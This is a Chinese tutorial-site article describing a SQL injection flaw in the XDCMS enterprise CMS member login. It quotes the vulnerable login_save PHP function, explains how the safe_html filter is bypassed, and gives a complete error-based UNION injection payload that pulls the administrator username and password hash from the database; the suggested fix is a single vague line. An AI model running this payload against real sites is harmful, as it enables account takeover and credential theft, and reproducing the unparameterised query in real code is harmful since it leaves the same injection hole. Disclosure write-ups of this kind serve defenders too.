网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

XDCMS企业管理系统SQL注入#2 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 14:59 作者: 阅读:

[导读] 最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入注入在XDCMS企业管理系统的登录功能处,来看看 system modules member index php文件: 登录时会调用login_save进行登录验证,问...

最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,导致SQL注入
 
注入在XDCMS企业管理系统的登录功能处,来看看\system\modules\member\index.php文件: 登录时会调用login_save进行登录验证,问题就出在index.php的login_save函数处:
 
public function login_save(){

$username = safe_html($_POST['username']);//获取UserName,通过safe_html进行过滤,这里存在缺陷,可绕过限制,进行注入

$password = safe_html($_POST['password']);



if(empty($username)||empty($password)){

showmsg(C('user_pass_empty'),'-1');

}



$sql="select * from ".DB_PRE."member where `username`='$username'";//通过绕过限制,在这里进行注入

if($this->mysql->num_rows($sql)==0){

showmsg(C('member_not_exist'),'-1');

}



$password=md5(md5($password));

$rs=$this->mysql->get_one($sql);

if($password!=$rs['password']){

showmsg(C('password_error'),'-1');

}



if($rs['is_lock']==1){

showmsg(C('user_lock'),'-1');

}



$logins=$rs["logins"]+1;

$ip=safe_replace(safe_html(getip()));

$this->mysql->db_update("member","`last_ip`='".$ip."',`last_time`=".datetime().",`logins`=".$logins,"`username`='$username'");



Cookie::_setcookie(array('name'=>'member_user','value'=>$username));

Cookie::_setcookie(array('name'=>'member_userid','value'=>$rs['userid']));

Cookie::_setcookie(array('name'=>'member_groupid','value'=>$rs['groupid']));

unset($rs);

showmsg(C("login_success"),"index.php?m=member");

}

 

 
由于在获取UserName时,通过safe_html进行过滤,safe_html只是按照小写过滤了常规的SQL注入敏感词以及=和*,但只这里存在缺陷,可绕过限制,进行注入。
 
我们使用小写SQL语句,并且不实用=和*
 
在登录是,抓包,在UserName的值后面增加一下内容:
 
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#
 
 
即可注入出管理员的用户名密码

修复方案:
过滤严格

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论